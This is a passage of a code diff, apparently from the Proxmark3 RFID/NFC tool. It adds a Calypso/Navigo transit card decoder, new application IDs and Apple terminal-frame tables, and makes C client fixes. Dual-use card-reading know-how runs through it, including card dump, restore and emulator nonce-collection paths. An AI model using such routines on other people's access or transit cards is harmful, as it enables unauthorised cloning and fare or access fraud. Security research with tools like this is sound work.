Usage_Data_End = data.nom_bits(30) Usage_A_DAT.addBits(data.nom_bits(3 * 32))
Usage_Sta_B.addBits(data.nom_bits(2)) Usage_A_DAT.addBits(data.nom_bits(16))
Usage_Data.addBits(data.nom_bits(3 * 32)) Usage_A_CER.addBits(data.nom_bits(16))
Usage_Data.addBits(Usage_Data_End) Usage_B_DAT.addBits(data.nom_bits(3 * 32))
Usage_Data.addBits(data.nom_bits(14)) Usage_B_DAT.addBits(data.nom_bits(16))
Usage_Sta_E.addBits(data.nom_bits(2)) Usage_B_CER.addBits(data.nom_bits(16))
Usage_Cer.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32))
case 0x07:
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(4 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Usage_Data_End = data.nom_bits(30)
Usage_Sta_B.addBits(data.nom_bits(2))
Usage_Data.addBits(data.nom_bits(3 * 32))
Usage_Data.addBits(Usage_Data_End)
Usage_Data.addBits(data.nom_bits(14))
Usage_Sta_E.addBits(data.nom_bits(2))
Usage_Cer.addBits(data.nom_bits(16))
Distribution_Cer.addBits(data.nom_bits(32))
case 0x0a:
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(8 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Distribution_Cer.addBits(data.nom_bits(32))
# No USAGE for 0x0a
case 0x0b: # Not in the draft :(
Distribution_Data.addBits(data.nom_bits(4 * 32))
C1.addBits(data.nom_bits(32))
C2.addBits(data.nom_bits(32))
Distribution_Data.addBits(data.nom_bits(8 * 32))
Distribution_Data.addBits(Distribution_Data_End)
Distribution_Cer.addBits(data.nom_bits(32)) Distribution_Cer.addBits(data.nom_bits(32))
case _: case _:
print('PID not (yet?) supported') print('PID not (yet?) supported: 0x{:02x}'.format(PID))
return 3 return 3
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, (PID & 0x10) != 0));
print('KeyId : 0x{:1x}'.format(KeyId))
print()
''' '''
DISTRIBUTION DISTRIBUTION
------------ ------------
Not very well documented but seems standard for this part Not very well documented but seems standard for this part
''' '''
if not Distribution_Data.isEmpty():
ContractNetworkId = Distribution_Data.nom_bits(24) ContractNetworkId = Distribution_Data.nom_bits(24)
CountryCode = ba2int(ContractNetworkId[0:0+12]) CountryCode = ba2int(ContractNetworkId[0:0+12])
@ -243,21 +393,6 @@ def main():
Distribution_left = Distribution_Data.nom_bits_left() Distribution_left = Distribution_Data.nom_bits_left()
RELOADING1 = C1.nom(8)
COUNTER1 = C1.nom(24)
RELOADING2 = C2.nom(8)
COUNTER2 = C2.nom(24)
'''
USAGE
-----
No documentation about Usage
All is left
'''
Usage_left = Usage_Data.nom_bits_left()
if not Distribution_Data.isEmpty():
print()
print('DISTRIBUTION') print('DISTRIBUTION')
print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?'))); print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?')));
print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority)); print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority));
@ -268,23 +403,42 @@ def main():
if (oa is not None): if (oa is not None):
s = oa.get(ContractProvider) s = oa.get(ContractProvider)
if (s is not None): if (s is not None):
print(' ~ Authority & Provider ~ :', s) print(' ~ Authority & Provider ~ : {} ({})'.format(s.OrganizationalAuthority, s.ContractProvider))
Describe_Usage = s.UsageDescribeFunction
print(' ContractTariff :', ContractTariff); print(' ContractTariff :', ContractTariff);
print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d'))); print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d')));
print(' left... :', Distribution_left); print(' left... :', Distribution_left);
print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32))) print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32)))
print() print()
print('COUNTER')
print(' [1] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER1, RELOADING1))
print(' [2] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER2, RELOADING2))
if not Usage_Data.isEmpty(): if(Describe_Usage is None):
Describe_Usage = Describe_Usage_Generic
if COUNTER1 is not None:
print('[1] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER1, RELOADING1))
# if COUNTER2 is not None:
# print('[2] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER2, RELOADING2))
if SWAP is not None:
print('[S] SWAP : 0x{:08x} - last usage on USAGE_{}'.format(SWAP, 'B' if SWAP & 0b1 else 'A'))
'''
USAGE
-----
No real documentation about Usage
Nearly all is left... - did not seen implementation with 2 counters or 1 Usage
'''
if not Usage_A_DAT.isEmpty():
print() print()
print('USAGE') print('USAGE_A')
Describe_Usage(Usage_A_DAT, ContractMediumEndDate, Usage_A_CER)
if not Usage_B_DAT.isEmpty():
print()
print('USAGE_B')
Describe_Usage(Usage_B_DAT, ContractMediumEndDate, Usage_B_CER)
print(' left... :', Usage_left);
print(' [CER] Usage : {:04x}'.format(Usage_Cer.nom(16)))
return 0 return 0

File diff suppressed because it is too large Load diff

View file

@ -2284,7 +2284,7 @@
"Vendor": "Apple", "Vendor": "Apple",
"Country": "", "Country": "",
"Name": "Apple Home Key Framework", "Name": "Apple Home Key Framework",
"Description": "Home Key configuration applet. Selected after a first transaction on a newely-invited device (allegedly for mailbox sync/attestation exchange)", "Description": "Home Key configuration applet. Used for attestation exchange",
"Type": "" "Type": ""
}, },
{ {
@ -2292,7 +2292,39 @@
"Vendor": "Apple", "Vendor": "Apple",
"Country": "", "Country": "",
"Name": "Apple Home Key", "Name": "Apple Home Key",
"Description": "NFC Home Key for select HomeKit-compatible locks", "Description": "NFC Home Key for select HomeKit-compatible locks based on Apple UnifiedAccess protocol",
"Type": "access"
},
{
"AID": "A0000008580202",
"Vendor": "Apple",
"Country": "",
"Name": "Apple Access Key Framework",
"Description": "Access Key configuration applet. Used for attestation exchange",
"Type": ""
},
{
"AID": "A0000008580201",
"Vendor": "Apple",
"Country": "",
"Name": "Apple Access Key",
"Description": "NFC Access Key for commercial properties based on Apple UnifiedAccess protocol",
"Type": "access"
},
{
"AID": "A000000909ACCE5502",
"Vendor": "Connectivity Standards Alliance (CSA)",
"Country": "",
"Name": "Aliro Framework",
"Description": "Used during key provisioning, configuration, attestation exchange",
"Type": ""
},
{
"AID": "A000000909ACCE5501",
"Vendor": "Connectivity Standards Alliance (CSA)",
"Country": "",
"Name": "Aliro",
"Description": "",
"Type": "access" "Type": "access"
}, },
{ {
@ -2430,5 +2462,13 @@
"Name": "CEPAS", "Name": "CEPAS",
"Description": "Transit and e-money card used in Singapore", "Description": "Transit and e-money card used in Singapore",
"Type": "transport" "Type": "transport"
},
{
"AID": "A0000004040125",
"Vendor": "Ile-de-France Mobilites",
"Country": "France",
"Name": "Navigo",
"Description": "CALYPSO-based transit card",
"Type": "transport"
} }
] ]

View file

@ -0,0 +1,126 @@
{
"versions": {
"01": {
"tci": {
"000000": {
"id": "tci-vas-or-pay",
"name": "VAS or payment",
"description": "Used when a reader needs a pass or a payment card. Sometimes called VAS over Payment"
},
"000001": {
"id": "tci-vas-and-pay",
"name": "VAS and payment",
"description": "Also called single tap mode. Allows reading multiple passes with different ids in one tap"
},
"000002": {
"id": "tci-vas-only",
"name": "VAS only",
"description": "Used when a reader requests passes only"
},
"000003": {
"id": "tci-pay-only",
"name": "VAS only",
"description": "Used when a reader requests payment cards only. Also disables express mode for chinese transit cards"
},
"cf0000": {
"id": "tci-ignore",
"name": "Ignore",
"description": "iPhones before IOS17 emit this frame so that other apple devices don't react to the field"
}
}
},
"02": {
"types": {
"01": {
"id": "terminal-type-transit",
"name": "Transit",
"description": "Used by express-mode enabled transit terminals",
"subtypes": {
"00": {
"id": "terminal-subtype-default",
"name": "Default subtype",
"description": "",
"tci": {
"030400": {
"id": "tci-hop-fastpass",
"name": "HOP Fastpass",
"description": ""
},
"030002": {
"id": "tci-transit-for-london",
"name": "TFL",
"description": "First publically known TCI, found by Proxmark community member"
},
"030001": {
"id": "tci-wmata",
"name": "SmartTrip",
"description": ""
},
"030005": {
"id": "tci-la-tapp",
"name": "LA Tap",
"description": ""
},
"030007": {
"id": "tci-clipper",
"name": "Clipper",
"description": ""
},
"03095a": {
"id": "tci-navigo",
"name": "Navigo",
"description": ""
}
},
"data": {
"length": 5,
"name": "Fallback EMV payment networks",
"description": "Bit mask of allowed EMV open loop payment cards. First byte is responsible for most popular payment networks"
}
}
}
},
"02": {
"id": "terminal-type-access",
"name": "Access",
"description": "Used by express-mode enabled access and key readers",
"subtypes": {
"00": {
"id": "terminal-subtype-venue",
"name": "Venue",
"description": "Used by following venues: Offices, Parks, Universities",
"tci": {
"no-info-add-if-found": ""
}
},
"06": {
"id": "terminal-subtype-home-key",
"name": "Home Key",
"description": "Used by home key",
"tci": {
"021100": {
"id": "tci-homekey",
"name": "Home Key",
"description": ""
}
}
},
"09": {
"id": "terminal-subtype-automotive-pairing",
"name": "Automotive",
"description": "Used by cars for access and setup",
"tci": {
"no-info-add-if-found": ""
}
}
}
}
}
}
}
}

View file

@ -55,6 +55,11 @@
"name": "Transit: Clipper", "name": "Transit: Clipper",
"description": "" "description": ""
}, },
{
"value": "6a02c8010003095a0000000000",
"name": "Transit: Navigo",
"description": ""
},
{ {
"value": "6a02c3020002ffff", "value": "6a02c3020002ffff",

View file

@ -2769,7 +2769,7 @@ static int CmdAsn1Decoder(const char *Cmd) {
void *argtable[] = { void *argtable[] = {
arg_param_begin, arg_param_begin,
arg_str0("d", NULL, "<hex>", "ASN1 encoded byte array"), arg_str0("d", NULL, "<hex>", "ASN1 encoded byte array"),
arg_lit0("t", "test", "perform self test"), arg_lit0(NULL, "test", "perform self tests"),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(ctx, Cmd, argtable, false); CLIExecWithReturn(ctx, Cmd, argtable, false);
@ -3681,8 +3681,9 @@ static int CmdTestSaveState8(const char *Cmd) {
srand(time(NULL)); srand(time(NULL));
size_t length = 64; size_t length = (rand() % 256);
uint8_t *srcBuffer = (uint8_t*)calloc(length, sizeof(uint8_t)); PrintAndLogEx(DEBUG, "Testing with length = %llu", length);
uint8_t *srcBuffer = (uint8_t *)calloc(length + 1, sizeof(uint8_t));
//Set up the source buffer with random data //Set up the source buffer with random data
for (int i = 0; i < length; i++) { for (int i = 0; i < length; i++) {
@ -3690,7 +3691,7 @@ static int CmdTestSaveState8(const char *Cmd) {
} }
buffer_savestate_t test8 = save_buffer8(srcBuffer, length); buffer_savestate_t test8 = save_buffer8(srcBuffer, length);
PrintAndLogEx(DEBUG, "Save State created, length=%llu, type=%i", test8.bufferSize, test8.type); PrintAndLogEx(DEBUG, "Save State created, length = %llu, padding = %i, type = %i", test8.bufferSize, test8.padding, test8.type);
test8.clock = rand(); test8.clock = rand();
test8.offset = rand(); test8.offset = rand();
@ -3700,14 +3701,13 @@ static int CmdTestSaveState8(const char *Cmd) {
size_t returnedLength = restore_buffer8(test8, destBuffer); size_t returnedLength = restore_buffer8(test8, destBuffer);
if (returnedLength != length) { if (returnedLength != length) {
PrintAndLogEx(FAILED, "Return Length != Buffer Length! Expected '%llu', got '%llu", g_DemodBufferLen, returnedLength); PrintAndLogEx(DEBUG, _YELLOW_("Returned length != expected length!"));
free(srcBuffer); PrintAndLogEx(WARNING, "Returned Length = %llu Buffer Length = %llu Expected = %llu", returnedLength, test8.bufferSize, length);
free(destBuffer); } else {
return PM3_EFAILED;
}
PrintAndLogEx(DEBUG, _GREEN_("Lengths match!") "\n"); PrintAndLogEx(DEBUG, _GREEN_("Lengths match!") "\n");
}
for(size_t i = 0; i < length; i++) { for (size_t i = 0; i < returnedLength; i++) {
if (srcBuffer[i] != destBuffer[i]) { if (srcBuffer[i] != destBuffer[i]) {
PrintAndLogEx(FAILED, "Buffers don't match at index %lu!, Expected %i, got %i", i, srcBuffer[i], destBuffer[i]); PrintAndLogEx(FAILED, "Buffers don't match at index %lu!, Expected %i, got %i", i, srcBuffer[i], destBuffer[i]);
free(srcBuffer); free(srcBuffer);

View file

@ -26,7 +26,7 @@
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
int flashmem_spiffs_load(char *destfn, uint8_t *data, size_t datalen) { int flashmem_spiffs_load(const char *destfn, const uint8_t *data, size_t datalen) {
int ret_val = PM3_SUCCESS; int ret_val = PM3_SUCCESS;
@ -429,9 +429,14 @@ static int CmdFlashMemSpiFFSDump(const char *Cmd) {
PrintAndLogEx(HINT, "Use 'trace list -1 -t ...' to view, 'trace save -f ...' to save"); PrintAndLogEx(HINT, "Use 'trace list -1 -t ...' to view, 'trace save -f ...' to save");
} }
if (dlen) {
if (dlen || slen) {
// save to file // save to file
char fn[FILE_PATH_SIZE] = {0}; char fn[FILE_PATH_SIZE] = {0};
// prefer dest name
// else source name
if (dlen) { if (dlen) {
strncpy(fn, dest, dlen); strncpy(fn, dest, dlen);
} else { } else {
@ -439,7 +444,7 @@ static int CmdFlashMemSpiFFSDump(const char *Cmd) {
} }
// set file extension // set file extension
char *suffix = strchr(fn, '.'); const char *suffix = strchr(fn, '.');
if (suffix) { if (suffix) {
saveFile(fn, suffix, dump, len); saveFile(fn, suffix, dump, len);
} else { } else {

View file

@ -22,7 +22,7 @@
#include "common.h" #include "common.h"
int CmdFlashMemSpiFFS(const char *Cmd); int CmdFlashMemSpiFFS(const char *Cmd);
int flashmem_spiffs_load(char *destfn, uint8_t *data, size_t datalen); int flashmem_spiffs_load(const char *destfn, const uint8_t *data, size_t datalen);
int flashmem_spiffs_download(char *fn, uint8_t fnlen, void **pdest, size_t *destlen); int flashmem_spiffs_download(char *fn, uint8_t fnlen, void **pdest, size_t *destlen);
#endif #endif

View file

@ -95,6 +95,16 @@ int CmdHFSearch(const char *Cmd) {
} }
} }
PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, " Searching for Topaz tag...");
if (IfPm3Iso14443a()) {
if (readTopazUid(false, false) == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Topaz tag") " found\n");
success[TOPAZ] = true;
res = PM3_SUCCESS;
}
}
PROMPT_CLEARLINE; PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, " Searching for LTO-CM tag..."); PrintAndLogEx(INPLACE, " Searching for LTO-CM tag...");
if (IfPm3Iso14443a()) { if (IfPm3Iso14443a()) {
@ -119,6 +129,7 @@ int CmdHFSearch(const char *Cmd) {
} }
} }
/*
// ICT // ICT
if (IfPm3Iso14443a()) { if (IfPm3Iso14443a()) {
int sel_state = infoHF14A(false, false, false); int sel_state = infoHF14A(false, false, false);
@ -131,6 +142,7 @@ int CmdHFSearch(const char *Cmd) {
infoHF14A4Applications(verbose); infoHF14A4Applications(verbose);
} }
} }
*/
PROMPT_CLEARLINE; PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, " Searching for LEGIC tag..."); PrintAndLogEx(INPLACE, " Searching for LEGIC tag...");
@ -142,16 +154,6 @@ int CmdHFSearch(const char *Cmd) {
} }
} }
PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, " Searching for Topaz tag...");
if (IfPm3Iso14443a()) {
if (readTopazUid(false, false) == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Topaz tag") " found\n");
success[TOPAZ] = true;
res = PM3_SUCCESS;
}
}
// texkom // texkom
PROMPT_CLEARLINE; PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, " Searching for TEXKOM tag..."); PrintAndLogEx(INPLACE, " Searching for TEXKOM tag...");
@ -176,7 +178,7 @@ int CmdHFSearch(const char *Cmd) {
PROMPT_CLEARLINE; PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, " Searching for ISO14443-B tag..."); PrintAndLogEx(INPLACE, " Searching for ISO14443-B tag...");
if (IfPm3Iso14443b()) { if (IfPm3Iso14443b()) {
if (readHF14B(false, false) == PM3_SUCCESS) { if (readHF14B(false, false, false) == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO 14443-B tag") " found\n"); PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("ISO 14443-B tag") " found\n");
success[ISO_14443B] = true; success[ISO_14443B] = true;
res = PM3_SUCCESS; res = PM3_SUCCESS;

View file

@ -863,7 +863,7 @@ int CmdHF14ASim(const char *Cmd) {
if ((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK) if ((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK)
break; break;
nonces_t *data = (nonces_t *)resp.data.asBytes; const nonces_t *data = (nonces_t *)resp.data.asBytes;
readerAttack(k_sector, k_sectors_cnt, data[0], setEmulatorMem, verbose); readerAttack(k_sector, k_sectors_cnt, data[0], setEmulatorMem, verbose);
keypress = kbd_enter_pressed(); keypress = kbd_enter_pressed();
@ -1099,7 +1099,7 @@ int SelectCard14443A_4(bool disconnect, bool verbose, iso14a_card_select_t *card
return SelectCard14443A_4_WithParameters(disconnect, verbose, card, NULL); return SelectCard14443A_4_WithParameters(disconnect, verbose, card, NULL);
} }
static int CmdExchangeAPDU(bool chainingin, uint8_t *datain, int datainlen, bool activateField, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool *chainingout) { static int CmdExchangeAPDU(bool chainingin, const uint8_t *datain, int datainlen, bool activateField, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool *chainingout) {
*chainingout = false; *chainingout = false;
size_t timeout = 1500; size_t timeout = 1500;
@ -1158,7 +1158,7 @@ static int CmdExchangeAPDU(bool chainingin, uint8_t *datain, int datainlen, bool
PacketResponseNG resp; PacketResponseNG resp;
if (WaitForResponseTimeout(CMD_ACK, &resp, timeout)) { if (WaitForResponseTimeout(CMD_ACK, &resp, timeout)) {
uint8_t *recv = resp.data.asBytes; const uint8_t *recv = resp.data.asBytes;
int iLen = resp.oldarg[0]; int iLen = resp.oldarg[0];
uint8_t res = resp.oldarg[1]; uint8_t res = resp.oldarg[1];
@ -1216,7 +1216,7 @@ static int CmdExchangeAPDU(bool chainingin, uint8_t *datain, int datainlen, bool
return PM3_SUCCESS; return PM3_SUCCESS;
} }
int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen) { int ExchangeAPDU14a(const uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen) {
*dataoutlen = 0; *dataoutlen = 0;
bool chaining = false; bool chaining = false;
int res; int res;
@ -1519,7 +1519,7 @@ static int CmdHF14ACmdRaw(const char *Cmd) {
} }
// TODO: allow to use reader command with both data and polling configuration // TODO: allow to use reader command with both data and polling configuration
if (use_ecp | use_magsafe) { if (use_ecp || use_magsafe) {
PrintAndLogEx(WARNING, "ECP and Magsafe not supported with this command at this moment. Instead use 'hf 14a reader -sk --ecp/--mag'"); PrintAndLogEx(WARNING, "ECP and Magsafe not supported with this command at this moment. Instead use 'hf 14a reader -sk --ecp/--mag'");
// flags |= ISO14A_USE_MAGSAFE; // flags |= ISO14A_USE_MAGSAFE;
// flags |= ISO14A_USE_ECP; // flags |= ISO14A_USE_ECP;

View file

@ -66,7 +66,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search);
int infoHF14A4Applications(bool verbose); int infoHF14A4Applications(bool verbose);
const char *getTagInfo(uint8_t uid); const char *getTagInfo(uint8_t uid);
int Hf14443_4aGetCardData(iso14a_card_select_t *card); int Hf14443_4aGetCardData(iso14a_card_select_t *card);
int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int ExchangeAPDU14a(const uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen);
int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode); int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode);
iso14a_polling_parameters_t iso14a_get_polling_parameters(bool use_ecp, bool use_magsafe); iso14a_polling_parameters_t iso14a_get_polling_parameters(bool use_ecp, bool use_magsafe);

View file

@ -1503,13 +1503,15 @@ static int CmdHF14BReader(const char *Cmd) {
void *argtable[] = { void *argtable[] = {
arg_param_begin, arg_param_begin,
arg_lit0(NULL, "plot", "show anticollision signal trace in plot window"),
arg_lit0("v", "verbose", "verbose output"), arg_lit0("v", "verbose", "verbose output"),
arg_lit0("@", NULL, "optional - continuous reader mode"), arg_lit0("@", NULL, "optional - continuous reader mode"),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(ctx, Cmd, argtable, true); CLIExecWithReturn(ctx, Cmd, argtable, true);
bool verbose = arg_get_lit(ctx, 1); bool read_plot = arg_get_lit(ctx, 1);
bool cm = arg_get_lit(ctx, 2); bool verbose = arg_get_lit(ctx, 2);
bool cm = arg_get_lit(ctx, 3);
CLIParserFree(ctx); CLIParserFree(ctx);
if (cm) { if (cm) {
@ -1518,7 +1520,7 @@ static int CmdHF14BReader(const char *Cmd) {
clear_trace_14b(); clear_trace_14b();
return readHF14B(cm, verbose); return readHF14B(cm, verbose, read_plot);
} }
// Read SRI512|SRIX4K block // Read SRI512|SRIX4K block
@ -2928,7 +2930,7 @@ int infoHF14B(bool verbose, bool do_aid_search) {
} }
// get and print general info about all known 14b chips // get and print general info about all known 14b chips
int readHF14B(bool loop, bool verbose) { int readHF14B(bool loop, bool verbose, bool read_plot) {
bool found = false; bool found = false;
int res = PM3_SUCCESS; int res = PM3_SUCCESS;
do { do {
@ -2960,10 +2962,12 @@ int readHF14B(bool loop, bool verbose) {
if (found) if (found)
goto plot; goto plot;
plot: plot:
if (read_plot) {
res = handle_hf_plot(verbose); res = handle_hf_plot(verbose);
if (res != PM3_SUCCESS) { if (res != PM3_SUCCESS) {
PrintAndLogEx(DEBUG, "plot failed"); PrintAndLogEx(DEBUG, "plot failed");
} }
}
} while (loop && kbd_enter_pressed() == false); } while (loop && kbd_enter_pressed() == false);

View file

@ -30,5 +30,5 @@ int exchange_14b_apdu(uint8_t *datain, int datainlen, bool activate_field, bool
int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card); int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card);
int infoHF14B(bool verbose, bool do_aid_search); int infoHF14B(bool verbose, bool do_aid_search);
int readHF14B(bool loop, bool verbose); int readHF14B(bool loop, bool verbose, bool read_plot);
#endif #endif

View file

@ -416,7 +416,7 @@ static int nxp_15693_print_signature(uint8_t *uid, uint8_t *signature) {
// get a product description based on the UID // get a product description based on the UID
// uid[8] tag uid // uid[8] tag uid
// returns description of the best match // returns description of the best match
static const char *getTagInfo_15(uint8_t *uid) { static const char *getTagInfo_15(const uint8_t *uid) {
if (uid == NULL) { if (uid == NULL) {
return ""; return "";
} }
@ -473,6 +473,26 @@ static const char *TagErrorStr(uint8_t error) {
} }
} }
static int iso15_error_handling_card_response(uint8_t *d, uint16_t n) {
if (check_crc(CRC_15693, d, n) == false) {
PrintAndLogEx(FAILED, "crc ( " _RED_("fail") " )");
return PM3_ECRC;
}
if ((d[0] & ISO15_RES_ERROR) == ISO15_RES_ERROR) {
if (d[1] == 0x0F || d[1] == 0x10) {
return PM3_EOUTOFBOUND;
}
PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", d[0], TagErrorStr(d[0]));
return PM3_EWRONGANSWER;
}
return PM3_SUCCESS;
}
// fast method to just read the UID of a tag (collision detection not supported) // fast method to just read the UID of a tag (collision detection not supported)
// *buf should be large enough to fit the 64bit uid // *buf should be large enough to fit the 64bit uid
// returns 1 if succeeded // returns 1 if succeeded
@ -714,7 +734,7 @@ static int CmdHF15Samples(const char *Cmd) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int NxpTestEAS(uint8_t *uid) { static int NxpTestEAS(const uint8_t *uid) {
if (uid == NULL) { if (uid == NULL) {
return PM3_EINVARG; return PM3_EINVARG;
@ -1162,7 +1182,7 @@ static void hf15EmlClear(void) {
WaitForResponse(CMD_HF_ISO15693_EML_CLEAR, &resp); WaitForResponse(CMD_HF_ISO15693_EML_CLEAR, &resp);
} }
static int hf15EmlSetMem(uint8_t *data, uint16_t count, size_t offset) { static int hf15EmlSetMem(const uint8_t *data, uint16_t count, size_t offset) {
struct p { struct p {
uint32_t offset; uint32_t offset;
uint16_t count; uint16_t count;
@ -1212,13 +1232,14 @@ static int CmdHF15ELoad(const char *Cmd) {
return res; return res;
} }
if (bytes_read != sizeof(iso15_tag_t)) { if (bytes_read == 0) {
PrintAndLogEx(FAILED, "Memory image is not matching tag structure."); PrintAndLogEx(FAILED, "Memory image empty.");
free(tag); free(tag);
return PM3_EINVARG; return PM3_EINVARG;
} }
if (bytes_read == 0) {
PrintAndLogEx(FAILED, "Memory image empty."); if (bytes_read != sizeof(iso15_tag_t)) {
PrintAndLogEx(FAILED, "Memory image is not matching tag structure.");
free(tag); free(tag);
return PM3_EINVARG; return PM3_EINVARG;
} }
@ -1335,7 +1356,7 @@ static void print_blocks_15693(iso15_tag_t *tag, bool dense_output) {
for (int i = 0; i < tag->pagesCount; i++) { for (int i = 0; i < tag->pagesCount; i++) {
uint8_t *blk = d + (i * blocksize); const uint8_t *blk = d + (i * blocksize);
// suppress repeating blocks, truncate as such that the first and last block with the same data is shown // suppress repeating blocks, truncate as such that the first and last block with the same data is shown
// but the blocks in between are replaced with a single line of "......" if dense_output is enabled // but the blocks in between are replaced with a single line of "......" if dense_output is enabled
@ -1830,6 +1851,7 @@ static int CmdHF15Dump(const char *Cmd) {
iso15_tag_t *tag = (iso15_tag_t *)calloc(1, sizeof(iso15_tag_t)); iso15_tag_t *tag = (iso15_tag_t *)calloc(1, sizeof(iso15_tag_t));
if (tag == NULL) { if (tag == NULL) {
PrintAndLogEx(FAILED, "failed to allocate memory"); PrintAndLogEx(FAILED, "failed to allocate memory");
free(packet);
return PM3_EMALLOC; return PM3_EMALLOC;
}; };
@ -1844,6 +1866,7 @@ static int CmdHF15Dump(const char *Cmd) {
PrintAndLogEx(INFO, "Using scan mode"); PrintAndLogEx(INFO, "Using scan mode");
if (getUID(verbose, false, uid) != PM3_SUCCESS) { if (getUID(verbose, false, uid) != PM3_SUCCESS) {
free(packet); free(packet);
free(tag);
PrintAndLogEx(WARNING, "no tag found"); PrintAndLogEx(WARNING, "no tag found");
return PM3_EINVARG; return PM3_EINVARG;
} }
@ -1873,18 +1896,27 @@ static int CmdHF15Dump(const char *Cmd) {
PacketResponseNG resp; PacketResponseNG resp;
if (WaitForResponseTimeout(CMD_HF_ISO15693_COMMAND, &resp, 2000) == false) { if (WaitForResponseTimeout(CMD_HF_ISO15693_COMMAND, &resp, 2000) == false) {
PrintAndLogEx(DEBUG, "iso15693 timeout"); PrintAndLogEx(DEBUG, "iso15693 timeout");
free(packet);
free(tag);
return PM3_ETIMEOUT; return PM3_ETIMEOUT;
} }
if (resp.length < 2) { if (resp.length < 2) {
PrintAndLogEx(WARNING, "iso15693 card doesn't answer to systeminfo command (%d)", resp.length); PrintAndLogEx(WARNING, "iso15693 card doesn't answer to systeminfo command (%d)", resp.length);
free(packet);
free(tag);
return PM3_EWRONGANSWER; return PM3_EWRONGANSWER;
} }
uint8_t *d = resp.data.asBytes; uint8_t *d = resp.data.asBytes;
uint8_t dCpt = 10; uint8_t dCpt = 10;
ISO15_ERROR_HANDLING_CARD_RESPONSE(d, resp.length); int res = iso15_error_handling_card_response(d, resp.length);
if (res != PM3_SUCCESS) {
free(tag);
free(packet);
return res;
}
memcpy(tag->uid, &d[2], 8); memcpy(tag->uid, &d[2], 8);
@ -1991,6 +2023,7 @@ static int CmdHF15Dump(const char *Cmd) {
if (no_save) { if (no_save) {
PrintAndLogEx(INFO, "Called with no save option"); PrintAndLogEx(INFO, "Called with no save option");
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
free(tag);
return PM3_SUCCESS; return PM3_SUCCESS;
} }
@ -2004,6 +2037,7 @@ static int CmdHF15Dump(const char *Cmd) {
pm3_save_dump(filename, (uint8_t *)tag, sizeof(iso15_tag_t), jsf15_v4); pm3_save_dump(filename, (uint8_t *)tag, sizeof(iso15_tag_t), jsf15_v4);
free(tag);
return PM3_SUCCESS; return PM3_SUCCESS;
} }
@ -2436,7 +2470,7 @@ static int CmdHF15Readblock(const char *Cmd) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int hf_15_write_blk(uint8_t *pm3flags, uint16_t flags, uint8_t *uid, bool fast, uint8_t blockno, uint8_t *data, uint8_t dlen) { static int hf_15_write_blk(const uint8_t *pm3flags, uint16_t flags, const uint8_t *uid, bool fast, uint8_t blockno, const uint8_t *data, uint8_t dlen) {
// request to be sent to device/card // request to be sent to device/card
// 2 + 8 + 1 + (4|8) + 2 // 2 + 8 + 1 + (4|8) + 2
@ -2660,13 +2694,14 @@ static int CmdHF15Restore(const char *Cmd) {
return res; return res;
} }
if (bytes_read != sizeof(iso15_tag_t)) { if (bytes_read == 0) {
